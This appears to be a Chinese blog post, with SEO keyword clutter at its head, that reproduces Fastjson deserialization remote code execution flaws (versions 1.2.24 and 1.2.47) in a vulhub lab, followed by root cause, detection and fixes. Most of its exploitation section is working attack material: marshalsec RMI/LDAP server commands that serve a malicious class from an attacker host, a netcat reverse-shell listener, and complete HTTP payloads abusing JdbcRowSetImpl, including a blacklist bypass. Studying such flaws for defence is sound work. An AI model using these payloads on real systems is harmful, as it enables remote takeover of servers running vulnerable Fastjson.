网站建设新的技术方案,建网站要注意的细节,淮北市住房和城乡建设局,网店设计分析免责声明 本文仅限于学习讨论与技术知识的分享#xff0c;不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失#xff0c;均由使用者本人负责#xff0c;本文作者不为此承担任何责任#xff0c;一旦造成后果请自行承担… 免责声明 本文仅限于学习讨论与技术知识的分享不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失均由使用者本人负责本文作者不为此承担任何责任一旦造成后果请自行承担 1、Fastjson介绍
2、漏洞复现
2.1、1.2.24 RCE CVE-2017-18349 vulhub启动靶场 启动成功 Kali 用marshalsec启动LDAP/RMI服务 Kali 用python启动HTTP服务存放恶意类
这是我们的恶意代码 在jdk的bin目录下编译恶意文件 可以通过访问看有没有启动成功
Kali 用netcat监听端口建立反弹连接
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.110.5:8089/#LinuxTouch 94735、发送payload
POST / HTTP/1.1
Host: 192.168.110.16:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept:text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 188{ b: { type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: rmi://192.168.110.5:9473/LinuxTouch, autoCommit: true}
}结果 先后连接成功
8090端口接收到了我们发送的payload并进行反序列化然后去连接到了rmi://192.168.110.5:9473这个服务器rmi服务器作为一个指路人去8089端口下载恶意文件
2.2、1.2.47 RCE CNVD-2019-22238
绕过原理 在1.2.47版本及以下的情况下loadClass中默 认cache为true首先使用java.lang.Class把获取到的类缓存到mapping中然后直接从缓存 中获取到了com.sun.rowset.jdbcRowSetlmpl这个类即可绕过黑名单。 启动靶场 kali启动监听
nc -lvp 9001Kali 用marshalsec启动LDAP/RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.110.5:8089/#LinuxRevers 9473恶意类对其进行编译等等。跟上面步骤一样。 放入到对应文件夹中并启动http服务 发送payload
POST / HTTP/1.1
Host: 192.168.110.16:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 268{a:{type:java.lang.Class, val:com.sun.rowset.JdbcRowSetImpl},b:{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:ldap://192.168.110.5:9473/LinuxRevers, autoCommit:true}
}连接成功 3、漏洞原理
1、序列化字符准备类名、dataSourceName属性和autoCommit属性 2、JdbcRowSetImpl反序列化调用JdbcRowSetImpl的setAutoCommit() 3、setAutoCommit()调用connect() 3、connect()调用lookup()连接到LDAP/RMI服务器 4、下载恶意代码到本地执行攻击发生
4、漏洞挖掘思路
找到发送JSON序列化数据的接口判断是否使用fastjon 非法格式报错 {“x”:
Burp 插件 https://github.com/zilong3033/fastjsonScan
5、漏洞修复
升级JDK 6u211 / 7u201 / 8u191 /11.0.1升级Fastjson到最新版 fastjson.parser.safeModetrue使用安全产品过滤非法内容更换其它序列化工具 Jackson/Gson